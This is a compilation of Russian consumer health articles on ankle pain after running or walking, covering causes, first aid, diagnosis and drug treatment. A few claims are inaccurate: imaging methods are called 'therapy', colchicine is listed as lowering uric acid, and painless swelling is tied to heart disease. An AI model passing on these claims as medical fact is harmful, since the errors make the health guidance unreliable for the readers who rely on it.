Болит голеностоп после бега и при ходьбе — причины и что делать если опухла стопа, лечение боли в связках голеностопного сустава

Голеностопный сустав ежедневно подвергается воздействию больших сил со стороны. Он может повредиться как у взрослых, так и у детей.

Боль в голеностопе свидетельствует о развитии патологического процесса.

Каковы причины возникновения боли в голеностопе при ходьбе и какое необходимо лечение? Что делать, если опухла нога в голеностопе и болит? Об этом и многом другом вы прочитаете в нашей статье.

Причины болевого синдрома

Если у человека возникает боль в голеностопе, то необходимо обратиться к врачу и пройти необходимое обследование чтобы выявить причину. Этиологические факторы болевых ощущений в голеностопном суставе различны и многообразны. К ним относятся как патологические состояния, так и иные факторы. Причины возникновения боли в голеностопе:

  • Механическое воздействие на область сустава, которое приводит к возникновению различных травм. К данным этиологическим факторам относятся: вывих, подвывих, открытая рана, перелом, разрыв и растяжение связок и сухожилий, разрыв мышц;
  • Воспалительный процесс соединительной, костной, хрящевой и мышечной ткани (бурсит, ахиллит, артрит, артроз, миозит, остеоартроз);
  • Дистрофическое изменение тканей сустава, которые наблюдаются у людей пожилого возраста;
  • Системные заболевания (системная красная волчанка);
  • Доброкачественные и злокачественные опухоли в области сочленения;
  • Беременность. В данном случае на голеностопный сустав возрастает нагрузка, что может спровоцировать возникновение боли;
  • Питание тоже имеет важное значение. При скудном и несбалансированном рационе происходит истощение и изменения в костно-суставном образовании;
  • Неудобная обувь.

Что делать если болит голеностоп

При возникновении боли в суставе необходимо как можно быстрее посетить врача. При интенсивных болях и травме следует вызвать Скорую помощь. В любом случае необходимо оказать пациенту первую помощь, чтобы облегчить его состояние и предупредить развитие осложнений.

Первая помощь заключается в выполнении следующих манипуляций:

  • Покой больной стопе. Вне зависимости от этиологии данного патологического симптома движения и нагрузка на стопу приведут только к его усилению;
  • Иммобилизация сустава. Для этого накладывается тугая повязка из эластичного бинта. Это поможет уменьшить отечность и зафиксировать сустав в анатомически правильном положении. При подозрении на перелом следует наложить шину;
  • Холод на больную область. Он способствует уменьшению боли, отечности и гематомы;
  • Дать пострадавшему обезболивающий препарат (Темпалгин, Анальгин) или же НПВП (нестероидные противовоспалительные препараты), например, Ибупрофен, Диклофенак, Найз. НПВП не только обезболивают, но и устраняют воспаление.

Болевые ощущения после бега

Бег – это тяжелая нагрузка для голеностопного сустава. Чтобы исключить возникновение боли после бега необходимо соблюдать ряд условий:

  • Удобная и правильно подобранная обувь (нельзя бегать в туфлях на каблуках и другой неспортивной обуви);
  • Правильная техника бега;
  • Разминка перед бегом (первые 10 – 15 минут следует уделить упражнениям, которые помогут разогреть мышцы и связки стопы).

Почему болит голеностоп после бега? Если человек только начинает заниматься бегом, то незначительные болевые ощущения имеют место быть. Это связано в первую очередь с непривычными нагрузками на сочленение.

Похожие статьи

Причины боли в голеностопе после бега могут быть различными:

Боль в голеностопе при ходьбе

Если неприятные или болевые ощущения возникают во время ходьбы, то это доставляет большое неудобство человеку. Причинами того, что болит голеностоп при ходьбе являются:

  • Растяжение связок и сухожилий. В данном случае боль может быть различной интенсивности. Это состояние характеризуется микроповреждениями волокон связок;
  • Разрыв связок. Болят связки голеностопного сустава, при этом боль интенсивная, так как происходит разрыв волокон связочного аппарата;
  • Ушиб голеностопного сустава. Происходит повреждение мягких тканей стопы. Боль, как правило, усиливается или возникает во время ходьбы;
  • Вывихи и переломы очень часто становятся причинами болевых ощущений. При вывихе нарушается целостность сочленения, а при переломе костной ткани;
  • Патология костной системы сустава (косолапость и плоскостопие). В данном случае постановка стопы нарушена, из-за чего сустав испытывает большую нагрузку;
  • Пяточная шпора. Это заболевание возникает при нарушении обменных процессов, ношении неудобной обуви, частой травматизации пяточной области. В данном случае возникает воспалительный процесс, который проявляется болевым синдромом.

Во время беременности, а точнее во второй ее половине, при длительном хождении отмечается дискомфорт и боль в ступнях и голеностопе.

Негативное состояние после футбола

Футбол – это активная спортивная игра. Спортсменам приходится много бегать, пинать мяч, нередки и столкновения. В ходе игры в футбол может произойти травматизация голеностопа, что проявляется возникновением болевых ощущений.

Почему болит голеностоп после и во время футбола:

  • Ушиб сустава;
  • Растяжение связочного аппарата;
  • Подвывих и вывих;
  • Перелом.

Если во время футбола возникла боль, то человек должен прекратить играть. Ему необходимо оказать первую помощь. В противном случае могут возникнуть более тяжелые патологии.

В данном случае травма может возникнуть по ряду причин:

  • Во-первых, удар ногой о мяч с большой силой;
  • Во-вторых, падение с высоты собственного роста;
  • В-третьих, удар по ноге в области голеностопного сустава.

Почему голеностоп опух и болит

Наиболее частыми жалобами пациентов травматологов и ревматологов является наличие отечности и болезненности в области голеностопного сустава. Эти патологические признаки сопровождают практически все заболевания голеностопа.

При наличии этих симптомов врач проводит дифференциальную диагностику, чтобы поставить окончательный диагноз. В первую очередь необходимо дифференцировать травмы и воспалительные заболевания.

Диагностический признак Травмы голеностопа Воспаление голеностопа
Боль Чаще интенсивная, усиливающаяся при пальпации, ходьбе и движении стопой Ноющая при хроническом течении и в начале острого процесса. В разгаре острого воспаления боль острая
Отечность От незначительной до массивной Незначительная и умеренная
Гематома Чаще присутствует Отсутствует
Гиперемия кожных покровов Редко Присутствует всегда
Местная гипертермия Редко Всегда
Крепитация Наблюдается при переломах Отсутствует
Патологическая подвижность При переломах Отсутствует
Изменение контуров сустава При вывихе, подвывихе и переломе со смещением Не наблюдается

Уточняется диагноз с помощью инструментальных методов диагностики:

  • Рентгенография;
  • Ультразвуковое исследование;
  • Магниторезонансная терапия;
  • Компьютерная терапия.

Ноющая боль в голеностопе

Боль ноющего характера в голеностопном суставе может наблюдаться при воспалении хрящевой ткани. Причем воспалительный процесс может быть как самостоятельным заболеванием, так и осложнением травм. При артрите и артрозе, а точнее в начале развития острой патологии, а также при переходе заболевания в хроническую фазу.

На начальном этапе острого воспаления помимо ноющей боли отмечается незначительная отечность и скованность движений.

В некоторых случаях отмечается бессимптомное течение. Но с течением времени, если сразу не обратиться к врачу, боль усиливается, возникает покраснение кожных покровов и местное повышение температуры тела (гипертермия).

При хроническом течении патологии наблюдается следующая симптоматика:

  • Ноющая боль в области сустава;
  • Незначительная отечность;
  • Затруднение движений в суставе.

Гиперемия и гипертермия не наблюдается. Хроническое течение характеризуется наличием фазы обострения и ремиссии. Обострение может иметь яркую или более сглаженную симптоматику. Ноющие болевые ощущения могут возникать при легком растяжении связок голеностопного сустава. Как правило, это единственный признак такого рода травмы.

Локализация болезненных ощущений

Болезненные ощущения могут локализоваться в разных частях как самого сустава, так и стопы в целом. Это важный диагностический признак. Зачастую по локализации боли можно предположить, какой патологический процесс возник в конкретном случае.

Боль в голеностопе сверху стопы

Болезненность в верхней части стопы мешает нормально ходить пациенту. Причинами ее возникновения в данной локации являются следующие патологии:

  • Аутоиммунные патологические процессы (ревматоидный артрит, подагра). В данном случае иммунитет воспринимает клетки и ткани собственного организма за чужеродные, из-за внутреннего сбоя. Это приводит к тому, что антитела агрессивно воздействуют на свои клетки и уничтожают их;
  • Травмы (вывихи и переломы). Это часто происходит при занятии активными видами спорта, неправильной технике выполнения упражнений;
  • Воспалительные заболевания сустава (артроз и артрит). При этом происходят дегенеративные процессы (изменения тканей).

Боль в голеностопе и пятке

В данном случае в патологический процесс вовлекается не только сустав, но и пяточная кость. Причины возникновения боли:

  • Артрит пятки – это воспаление пяточной кости и окружающих ее мягких тканей. Боль при этом заболевании может быть незначительной или интенсивной и острой, которая не дает наступить на стопу;
  • Патология ахиллова сухожилия (растяжение, разрыв, воспаление);
  • Перелом пяточной кости. При этом помимо боли, обнаруживается отек задней и нижней части стопы, патологическая подвижность в области пятки и крепитация;
  • Плантарный фасциит характеризуется воспалением подошвенной фасции.

Следует отметить, что при всех вышеперечисленных заболеваниях пациент не может наступать на пораженную стопу из-за резкого усиления боли.

Болевые ощущения в стопах обеих ног

В некоторых случаях может отмечаться двусторонняя болезненность, то есть боль локализуется в голеностопах обеих нижних конечностей. Причины такого, что болят голеностопы на обеих ногах, точно такие же, как и при односторонней боли, а именно:

  • Механическое повреждение обеих стоп (вывихи, переломы, растяжения, ушибы, разрывы связок и сухожилий) при аварии, падении с большой высоты;
  • Нарушение техники выполнения упражнений;
  • Воспалительные заболевания мягких тканей;
  • Воспаление костной и хрящевой ткани.

При боли в обеих стопах наблюдается значительное нарушение походки вплоть до невозможности передвижения.

Лечение патологического состояния

Лечение боли в суставе голеностопа направлено на:

  • Обезболивание;
  • Устранение воспаления;
  • Уменьшения отечности;
  • Улучшение кровообращения.

Криотерапия – лечение с помощью охлаждения. При лечении голеностопа используется местное охлаждение. Делают холодные компрессы или накладывают на больное место пузырь со льдом. Для облегчения состояния производится иммобилизация конечности с помощью фиксаторов голеностопа. Широко применяются обезболивающие и противовоспалительные препараты в виде таблеток и мазей.

Мази могут быть охлаждающие или согревающие в зависимости от фазы заболевания и необходимо эффекта.

При воспалительных патологиях голеностопного сустава назначаются нестероидные противовоспалительные мази (Найз, Диклофенак), а также таблетированные средства и растворы для инъекции. Широко используется физиотерапевтическое лечение. При выраженной боли проводят электрофорез с новокаином. Также назначается парафинотерапия, УВЧ и магнитотерапия.

К какому врачу обратиться при болевом синдроме?

Чтобы знать, к какому врачу обратиться, если болит голеностоп, необходимо учитывать причину возникновения боли. В том случае, если болевые ощущения возникли из-за травмы, то нужно как можно быстрее обратиться к травматологу. Он определит вид травмы и назначит соответствующее лечение.

Когда боль возникает внезапно и без видимых причин, то в первую очередь следует обратиться за консультацией к терапевту.

Этот специалист проведет общий осмотр и назначит необходимые обследования. При возникновении воспалительных процессов терапевт может направить пациента к ревматологу (специалист, который занимается лечением заболеваний суставов).

Виктор Системов — эксперт сайта 1Travmpunkt

С этой статьей часто читают… Голеностоп Шишка на голеностопном суставе Икроножная мышца Причины и лечение боли в икроножных мышцах Тазобедренного сустава Причины и лечение боли в мышцах бедра Помощь при отравлении Причины и лечение боли в желудке после рвоты Повреждение связок колена: симптомы и лечение Воспаление икроножной мышцы

Источник: https://1travmpunkt.com/rastyazheniya/golenostop/boli-v-golenostope.html

Болит голеностоп после бега: причины, лечение и профилактика

Голеностоп – один из больших суставов, который ежедневно принимает на себя огромнейшую нагрузку. Боли в нем являются нередким явлением, особенно после бега, длительной ходьбы, езды на велосипеде и других физических нагрузок. Почему болит этот сустав, можно ли предотвратить появление дискомфорта или вылечить уже имеющийся?

Почему болит голеностоп

Голеностоп – важнейший сустав, соединяющий три крупных кости: малую берцовую, большую берцовую и таранную. Две первых относятся к голени, а последняя – к стопе. Без него человек попросту не смог бы стоять на ногах, а тем более ходить. За счет мышечных усилий кости в суставе двигаются вперед–назад и по кругу.

Почему же возникают болевые ощущения? Причин на то множество: от банального отсутствия разминки до бега или других занятия до серьезных повреждений мышц, связок или костей.

Новичкам «везет»

Если человек только пришел в мир спорта, то боли в голеностопе после бега ему не избежать.

Появиться она может даже при правильной технике и предварительной разминке потому, что сустав будет просто не готов к новым нагрузкам, ведь раньше они были несложными.

В таком случае голеностоп перестанет болеть уже через 3-4 занятия, но важно в это время не перенапрягать его, носить специальную защитную экипировку и тщательно разминаться.

Еще одна причина того, что у бегунов болит голеностоп – неправильная техника. Многие даже не задумываются, как правильно бегать, ведь что в этом может быть сложного? Но недаром люди годами учатся легкой атлетике! Бег – это целое искусство, поэтому прежде чем им заниматься, изучите внимательно материалы, которые расскажут, как правильно бегать.

Плохая разминка

Во время бега на кости, мышцы и связки голеностопа давит сила, которая в несколько раз превышает массу тела. Поэтому после него при отсутствии грамотной разминки возникают болевые ощущения.

Разминаться необходимо минимум 10-15 минут до начала занятий. Главная задача – разогреть мышцы и суставы. Для этого необходимо сделать несложные упражнения: поднятия на носочки, «косолапая ходьба», приседания, вращение стопы и прыжки.

Когда внизу голени почувствуется тепло, то можно приступать уже к занятию. Но помните, что первые 5-10 минут после начала физических нагрузок должны проходить в спокойном темпе, чтобы кости и мышцы могли адаптироваться.

Травмы

Во время бега, прыжков и даже ходьбы иногда можно получить травмы, из-за которых болят кости, мышцы или связки. Это могут быть растяжения, разрывы, вывихи, переломы.

Если повредились мышцы, то они болят с ноющим или тянущим характером, часто боль проходит через 5-6 дней (исключением является разрыв мышечной ткани, который требует операционного вмешательства, а после этого длительной реабилитации).

Если произошло повреждение связки, то боль будет стреляющей и резкой, часто пропадает возможность даже стоять на ноге. Подобные неприятности часто случаются у профессиональных спортсменов или новичков, которые переоценивают свои силы.

Если же во время бега человек подвернул или вывихнул ногу, то болят не только мышцы, но и кости. Если получена подобная травма, то необходимо немедленно обратиться в травмпункт, чтобы специалист оценил и исправил ситуацию.

Остеохондроз

Деградация костной или хрящевой ткани также может стать причиной дискомфорта. Не стоит ассоциировать остеохондроз исключительно с пожилыми людьми.

У многих профессиональных спортсменов к 35-40 годам сильно разрушаются большинство суставов, особенно их хрящевая ткань. Предотвратить это практически невозможно, ведь у всего в теле есть свой срок годности.

Можно лишь поддерживать кости и суставы минеральными препаратами и массажем.

Неправильная экипировка

Большое значение в тренировке имеет не только техника, разминка и опыт, но и экипировка: одежда и обувь. Одежда для бега обязательно не должна быть слишком облегающей, ведь это ухудшает ток крови к мышцам, они испытывают кислородное голодание и болят. Выберите удобные свободные штаны или тянущиеся леггинсы.

Про то, что на кроссовки бегунам скупиться нельзя – слышал каждый. Правильная обувь спасет не только голеностоп, но и кости голени, колени, поясницу и даже спину, ведь они будут амортизировать силу, с которой тело давит на ноги.

Сегодня многие компании спортивных товаров выпускают отдельные серии кроссовок для бега, ходьбы и других видов физической активности.

  1. Хорошая обувь обязательно должна подходить по размеру, она не должна быть больше или меньше.
  2. Подберите модель, у которой подошва состоит из пружинящего материала – именно он обезопасит кости и суставы и предотвратит боли в них после бега.
  3. И последнее – никаких липучек. Подберите модель на шнурках, потому что они не создают «перекоса» напряжения мышц стопы.

Профилактика боли в голеностопе

Чтобы предотвратить появление болевых ощущений после бега, необходимо соблюдать несколько простых правил. Выполнять их несложно, но это спасет от травм не только голеностоп, но и мышцы, кости, сухожилия, колени, спинные диски и поясницу, которые тоже часто повреждаются во время активных занятий.

  1. Всегда разминайтесь перед тренировкой в течение 10-15 минут.
  2. Используйте правильную экипировку для выбранного вида спорта.
  3. Первые 5-10 минут проводите занятие в спокойном темпе.
  4. Длительность нагрузок не должна превышать 2 часов, желательно делать небольшие перерывы.
  5. После сложной тренировки необходимо выделить 2-3 дня отдыха на восстановление мышц и суставов.
  6. При появлении резкой, стреляющей или тянущей боли после тренировки обратитесь в травматологу.
  7. Если произошло растяжение мышц, то делайте массаж и уменьшите нагрузку.
  8. Не продолжайте тренировку, если голеностоп сильно болит с самого начала.
  9. Занимайтесь с тренером или изучите правила и технику самостоятельно.
  10. Если сухожилия, кости или мышцы болят дольше, чем неделю, то обратитесь в больницу, чтобы избежать осложнений.

Также индивидуально можно подобрать витаминно-минеральный комплекс, поддерживающий костную и хрящевую ткань и спортивные «аксессуары», например, плотные гетры, надевая которые можно снизить риск вывиха.

Лечение боли в голеностопе

Часто боль в голеностопе проходит спустя несколько дней сама, если дело касается новичков в спорте. Со временем сустав адаптируется и она больше не появляется. Ускорить этот процесс можно тщательной разминкой и утренней зарядкой.

Дома справиться с дискомфортом в голеностопном суставе можно, если травмы несерьезные. Например, от растяжений хорошо помогает разогревающий массаж, снижение нагрузок и теплые ванны. Если произошло повреждение связки, то необходимо устроить 2-3 дневный постельный режим и в течение нескольких недель полностью исключить физические нагрузки.

Но не всегда травмы могут быть безопасными, поэтому при длительном дискомфорте необходимо обратиться в травматологу. Обязательно выполняйте все рекомендации врача, потому что повреждения в голеностопе могут вызывать деградацию хрящевой ткани, которая не восстанавливается.

Голеностоп болит у многих, особенно после бега или других интенсивных нагрузок. Часто дискомфорт проходит сам, когда сустав адаптируется к новым нагрузкам. Но если этого не происходит – необходимо обратиться к травматологу за консультацией и лечением. Но лучше предотвратить появление болевых ощущений и выполнять несложную профилактику.

Рекомендуем почитать похожие статьи:

Источник: https://tutbolinet.ru/nogi/stopa/bolit-golenostop-posle-bega.html

После бега опухли щиколотки ног и болят: что делать и как лечить

Щиколотка или лодыжка — самые часто травмируемые структуры организма среди спортсменов. В простонародье щиколоткой называют лодыжку и прилежащие структуры: мягкие ткани, связки голеностопного сустава.

Если после бега опухла щиколотка, стоит обратить внимание на цвет кожных покровов, подвигать стопой, чтобы оценить амплитуду и болезненность.

В зависимости от симптомов нужно оказать пострадавшему первую помощь или обратиться к врачу.

Причины опухания

Отек ноги после бега не стоит оставлять без внимания

Если отекают и болят лодыжки после ходьбы или бега, в 80% случаях это вызвано травмой.

Разрыв или надрыв связок. Связки стопы прикрепляются к лодыжке. Они играют роль стабилизатора, чтобы стопа стояла ровно.

При неосторожном беге человек резко наступает на наружный край стопы, тем самым растягивая наружную или латеральную связку — пяточно-малоберцовую. Реже повреждается область внутреннего или медиального края — связка-удерживатель сгибателей.

 Если человек оступился, перенес вес на стопу, когда она занимает неестественное положение, волокна связок рвутся.

Травма сухожилий. В результате ткани отекают не симметрично, ближе к одной из щиколоток. Такая отечность бывает как с внутренней стороны, так и с наружной.

Полный или частичный перелом щиколотки. Причина перелома — подворачивание ноги или удар.

Особенно часто встречается у людей, занимающихся бегом и другими видами физической активности, где задействованы ноги.

Такие переломы в большинстве своем сопровождаются вывихами и подвывихами голеностопного сустава. Эту травму часто сопровождают разрыв или надрыв связок.

Факторы, способствующие травме

Все эти травмы при беге возникают либо у профессиональных спортсменов, когда нога подвергается очень сильной нагрузке, либо у совсем неподготовленных людей. Предрасполагающие факторы:

  • слабость костно-мышечной системы и связочного аппарата;
  • недостаточная разминка перед бегом;
  • недостаток кальция;
  • патология соединительной ткани организма;
  • пожилой возраст;
  • заболевания костей;
  • опухоль костных структур;
  • воспалительные заболевания связок и костей.

Симптомы травмы

Реабилитация после травмы займет не менее месяца

Первые симптомы при всех травмах – боль и локальный отек тканей. Разобраться, перелом это или растяжение, сможет врач-тровматолог. Наверняка заподозрить перелом возможно в случае, когда визуально видно смещение, определяется смещенный костный отломок.

Боль при растяжении связок носит локальный и резкий характер, однако движение в стопе бывает сохранено и даже безболезненно, а боль будет возникать при нагрузке на пораженную конечность. Область лодыжек при растяжении обычно отечная, однако может не вздуться совсем. Набухание мягких тканей – индивидуальная реакция организма и не у всех выражена одинаково.

Если были травмированы сухожилия, болевой синдром сопровождается нарушением движения стопы, будет заметна гематома.

При переломе сразу после получения травмы бежать становится практически невозможно. Боль, возникающая после бега, острая, иногда настолько сильная, что невозможно опираться на ногу. Определенные движения могут усиливать болевой синдром. Ступня практически не двигается, так как движение приносит мучительные боли.

Боль иногда иррадирует ниже, в этом случае будет болеть пятка. Через несколько дней после травмы, возможно развитие гематомы.
Типичный синдром при травмах – отек тканей.

Причем иногда конечность отекает не только в области сломанной лодыжки, припухлость распространяется ниже и вся ступня заметно увеличивается в объеме.

Не всегда выраженная припухлость конечности свидетельствует о переломе. В зависимости от индивидуальных особенностей нога может практически не опухать даже при сломанных костях.

Бывает и наоборот: у человека небольшое растяжение связок, а опухнуть может вся стопа и часть голени.

Припухлость после бега в области лодыжек, не сопровождающаяся болью, свидетельствует о наличии сердечно-сосудистых заболеваний.

Если же при беге болят щиколотки обеих ног и заметна припухлость, этот симптом может свидетельствовать о наличии хронического заболевания суставов.

Пробежка в этих случаях не рекомендуется, обязательно нужно обратиться к специалисту для постановки диагноза и как можно скорее начать лечения.

Если бегать с хроническим заболеванием, можно усугубить ситуацию и получить тяжелые осложнения.

Случается, что степень выраженности симптомов не соответствует степени поражения тканей, поэтому нельзя заниматься самолечением. Только врач способен поставить правильный диагноз!

Диагностика трамвы

При типичной травме диагностика не составляет сложности. Симптоматика типична для клинической картины травмы. Больной обычно жалуется на локальную боль, ограниченность движений и отек.

Основные методы инструментальной диагностики:

  • рентгеноскопия;
  • ультразвуковое исследование для выявления разрыва мягких тканей;
  • иногда назначается МРТ для детального исследования глубоких структур.

В случае системных заболеваний, таких как опухоли, артрит, тромбоз вен, все куда сложнее. Такие болезни имеют специфические симптомы, помимо того, что припухает нога в щиколотке после бега. В этих случаях для диагностики недуга назначается более детальное обследование.

Лечение и реабилитация

В первую очередь нужно обеспечить покой больной ноге, приложить лед к поврежденному месту. Обязательно через слой ткани, чтобы не повредить кожу. Затем как можно скорее следует обратиться в травматологический пункт.

Лечение назначается в зависимости от поставленного диагноза. При растяжении связок достаточно эластичного бинта. При разрыве связок требуется оперативное вмешательство, чтобы сшить пострадавшие ткани.

При растяжении сухожилий накладывается гипс для иммобилизации, а в сложных случаях также потребуется операция.

При переломе выполняют репозицию отломков кости, однако очень часто смещение сохраняется и приходится выполнять операцию — остеосинтез. Операция проводится для восстановления анатомической целостности кости. После хирургического лечения накладывают гипс сроком до двух месяцев. Если повреждение кости включает ещё и пяточный перелом, носить гипс придется 3-4 месяца.

Лечение каждой из травм включает медикаментозную терапию: мази, обезболивающие препараты. Использовать их можно только по назначению врача!

Когда можно начинать бегать после перелома лодыжки зависит от его сложности и хода реабилитации. С восстановлением прежнего объема физических нагрузок нельзя спешить. Нужно пройти полный курс реабилитации, затем можно начинать полноценно ходить, а переходить на бег следует не раньше, чем через несколько месяцев после лечения. Более точные сроки стоит уточнить у лечащего врача.

  • Если снова болит бугор медиальной лодыжки после бега, и вы совсем недавно проходили реабилитацию, стоит вновь обратиться к врачу, чтобы избежать осложнений.
  • Не имеет значения, сколько потрачено времени на лечение травмы, только полный реабилитационный период окончательное восстановит всех функции конечности.
  • Реабилитация включает:
  • лечебный массаж;
  • комплекс восстанавливающих упражнений;
  • специальную высокобелковую диету с повышенным употреблением кальция.

При должном лечении функции поврежденной конечности восстановятся. Своевременное обращение к врачу позволяет вылечить травму без осложнений.

Вовремя оказанная помощь и своевременно начатое лечение обеспечат скорейшее выздоровление без осложнений.

Если травмы не было, но после бега болят щиколотки ног, прежде всего стоит подумать о системных сосудистых заболеваниях.

Источник: https://NogoStop.ru/golenostop/lodyzhka/posle-bega-opuxla-shhikolotka.html

Боли в голеностопном суставе: причины, лечение, почему болит голеностоп при ходьбе без видимых причин

Фото с сайта dom-zdorov.online

Основная часть пациентов не воспринимает проблему с голеностопом всерьез и начинает экспериментировать с различными примочками, компрессами и растирками. Поступать так не рекомендуется. Дело в том, что характер боли в голеностопе напрямую связан с причинами, поэтому к лечению следует приступать лишь после постановки диагноза.

Причины боли в голеностопном суставе

Почему болят суставы, соединяющие стопу с костью голени? Причин может быть много. Сочленение имеет необычайно сложное строение и соединяет поверхности сразу трех костей, к которым прилагается несколько связок. Поэтому вызывать дискомфорт способны проблемы с любым из этих элементов.

Чаще всего боли в голеностопном суставе возникают при ходьбе и свидетельствуют о получении травмы. При этом мучительные ощущения отличаются непостоянством. Более определенный характер недомогания типичен для патологий костно-мышечной системы или поражения внутренних органов.

Травмы

Самая распространенная причина боли в голеностопном суставе. Вызвать мучительные ощущения могут такие травмы:

  • повреждения связок внутренней и внешней поверхности сочленения;
  • перелом пяточной кости или лодыжки;
  • вывих со смещением и без.

Если голеностоп болит во время ходьбы, причиной, скорее всего, является повреждение связок. Это довольно распространенная травма, которую пациенты получают, сами не замечая того. В зависимости от степени поражения, существуют 3 стадии недомогания:

  1. Легкая. Проявляется покраснением кожи над местом повреждения и болью во время ходьбы.
  2. Средняя. Сопровождается ощутимым дискомфортом в сочленении и нарушением двигательной активности.
  3. Сильная. Ей сопутствует острая боль в косточке с невозможностью опираться на ногу. Голеностопный сустав увеличивается в размерах, краснеет и становится горячим на ощупь.

Если конечность болит с внутренней стороны, это говорит о разрыве медиальной связки. При дискомфорте справа или слева по внешней поверхности щиколотки можно предположить травму пяточно-малоберцового либо переднего (заднего) таранно-малоберцового тяжа.

Болит голеностоп при ходьбе и после перелома сустава или пятки. При этом у пациента наблюдаются следующие симптомы:

  • сильный отек с гематомой;
  • резкая боль;
  • смещение стопы в сторону.

Появление мучительных ощущений в пятке также свидетельствует о трещине или переломе. Это довольно редкая травма, с которой сталкиваются после неудачного прыжка или падения с высоты.

Еще одним виновником боли в голеностопе при ходьбе способен стать вывих сустава. Такая травма часто возникает у полных пациентов и людей со слабыми связками. Если подвывихи следуют один за другим, резко повышается риск развития артроза. Смещение костей сочленения проявляется отеком, гематомой, сильной болезненностью. Сустав утолщается и меняет форму.

Заболевания

Бывает, что дискомфорт в сочленении возникает без травмы. Причиной боли в голеностопном суставе становятся патологии хрящевой ткани, среди которых наиболее важны следующие:

Артрит поражает синовиальную мембрану сустава. Нога в голеностопе опухает, появляется чувство скованности по утрам, нарушается подвижность. Область сочленения краснеет и становится горячей. Болезненность чаще возникает в ночное время. Постепенно развивается деформация хряща, близлежащие мышцы атрофируются.

Почему еще болит голеностопный сустав? Виновником недомогания может быть артроз, при котором происходит разрушение всего опорно-двигательного аппарата. Главными симптомами этого недомогания являются:

  • ноющая боль в суставе;
  • хруст во время движения;
  • отек щиколотки (отмечается после нагрузки и по утрам);
  • деформация костно-хрящевых соединений.

Болит голеностопный сустав и при ахиллите. Недуг проявляется воспалением пяточных сухожилий, дискомфортом во время ходьбы. При хронической форме тендинита пациент жалуется на жжение и напряжение в области икры, боль в голеностопном суставе, отек и утрату гибкости. Со временем сухожилия утолщаются и укорачиваются, появляются хромота и быстрая усталость от ходьбы.

Если голеностоп болит по ночам, вероятнее всего, речь идет о подагре. Дискомфорт бывает настолько сильным, что к воспаленному суставу невозможно прикоснуться. При этом место поражения опухает и краснеет. Пациент не может ходить и в течение всего острого периода вынужден сохранять постельный режим.

Болезненность в области голеностопного сустава может появиться и при ухудшении венозного кровообращения в одной или обеих конечностях. Дискомфорт провоцируется отеком и сдавливанием тканей. Возникает чувство тяжести в ногах, быстрая усталость при ходьбе. Иногда боль в голеностопном суставе становится признаком инфекционного воспаления как самого сочленения, так и прилегающих к нему мышц.

Другие причины

Нередко голеностопный сустав опухает и воспаляется без видимых оснований. Пациент нигде не падал, не ударялся и не подвертывал ступню, а на ногу встать больно. Спровоцировать подобное состояние могут самые разные факторы:

  • Остеохондроз поясничного отдела. В этом случае дискомфорт носит резкий, стреляющий характер.
  • Злокачественная опухоль. Нога, как правило, начинает болеть уже на поздних стадиях поражения. Дискомфорт возникает ночью либо при длительном нахождении пациента в горизонтальном положении. Если новообразование захватывает клиновидную кость, боль локализуется не только в голеностопном суставе, но и распространяется на верх стопы.
  • Приводит к неприятным ощущениям и увеличивающаяся нагрузка на сочленение в период беременности.

Причиной болезненности в голеностопе может стать неудобная обувь, туфли на высоком каблуке, стоячая работа, излишне тугая резинка на носках.

Первая помощь

Фото с сайта pielegniarkadodomu.pl

Первая помощь обычно требуется при получении травмы. Она заключается в следующих действиях самого пострадавшего или присутствующих рядом лиц;

  • фиксирование голеностопа бинтом или любой подходящей повязкой;
  • ограничение нагрузки на ногу;
  • прикладывание льда к воспаленному месту.

При сильных суставных болях в голеностопе следует принять 1–2 таблетки анальгетика (Ибупрофен, Диклофенак) или, если позволяет состояние, нанести противовоспалительную мазь (Вольтарен, Троксевазин).

Чтобы исключить серьезное повреждение сустава, при первой же возможности следует подойти к специалисту. Если налицо перелом или разрыв связки, необходимо вызвать бригаду медиков.

При обострении подагры первая помощь заключается в обеспечении покоя и быстром обезболивании. Пострадавшую ногу следует держать в приподнятом состоянии, к воспаленному месту приложить ледяной компресс (кусочки льда, завернутые в салфетку). Этот способ помогает снизить интенсивность боли и уменьшить отек.

Диагностика

Известно несколько методов диагностики, с помощью которых определяют причину болей в голеностопном суставе. Вначале врач проводит внешний осмотр пациента с пальпацией сочленения, расспрашивает о симптоматике и уточняет время возникновения дискомфорта. Для подтверждения первоначального диагноза проводится ряд лабораторных и инструментальных исследований:

  • общий анализ крови;
  • УЗИ и МРТ сустава;
  • рентген;
  • артрография;
  • гониометрия.

Если боль в голеностопе началась неожиданно и не является симптомом травмы или патологии двигательного аппарата, пациенту назначают полное клиническое обследование.

Лечение боли в голеностопном суставе

Что делать, если болит и ноет голеностопный сустав? Сочленение необходимо серьезно лечить, причем методы терапии должны зависеть от причины дискомфорта.

При ушибе, легком растяжении связок или подвывихе можно обойтись обычным домашним уходом. Перелом и разрыв тяжей требует госпитализации. Лечится такое повреждение долго и трудно.

Основные принципы терапии голеностопного сустава при травме:

  • обездвиживание сочленения с помощью гипсовой повязки или ортеза;
  • применение НПВП и обезболивающих — Анальгина, Ибупрофена, Аэртала, Нимесила, Немулекса, Кеторола;
  • хирургическое вмешательство при необходимости;
  • использование ортопедических приспособлений.

В период восстановления больному назначают физиотерапевтические процедуры, упражнения на восстановление гибкости сочленения.

Когда голеностопные суставы болят на фоне поражения синовия или дистрофии тканей хряща, используют следующие препараты:

  • Противовоспалительные средства нестероидной группы — Вольтарен, Диклофенак, Ортофен. Они могут быть в мазях, уколах или таблетках.
  • Хондропротекторы — Артра, Структум.
  • Глюкокортикоиды — Преднизолон, Бетаметазон, Триамцинолон.

Если болят голеностопы на обеих ногах, лечение проводится аналогично рассмотренному выше.

Для борьбы с подагрическим воспалением одних анальгетиков и НПВС мало. Пациенту рекомендуют медикаменты для снижения уровня гиперурикемии: Колхикум, Аллопуринол, Аденурик.

Если голеностопный сустав болит из-за поражения вен и ноги сильно устают при ходьбе, лечение предполагает следующие мероприятия:

  • применение местных средств для улучшения кровотока (Троксевазин, Венорутан, Гепариновая мазь, Лиотон, Долобене);
  • ношение компрессионного белья;
  • ежедневный массаж конечностей.

Терапия позволяет если не избавиться от недуга полностью, то значительно улучшить самочувствие, снять воспаление и отечность, приостановить дальнейшее развитие патологии.

Вообще, основное лечение при болях в голеностопном суставе должно быть направлено не столько на облегчение симптоматики, сколько на устранение первопричины дискомфорта.

Поэтому при появлении любых неприятных ощущений в сочленении следует обратиться к доктору, а не заниматься самодеятельностью.

Ведь спровоцировать недомогание могут не только ушибы и вывихи, но и другие, куда более серьезные недомогания.

Елена Медведева, врач,
специально для Ortopediya.pro

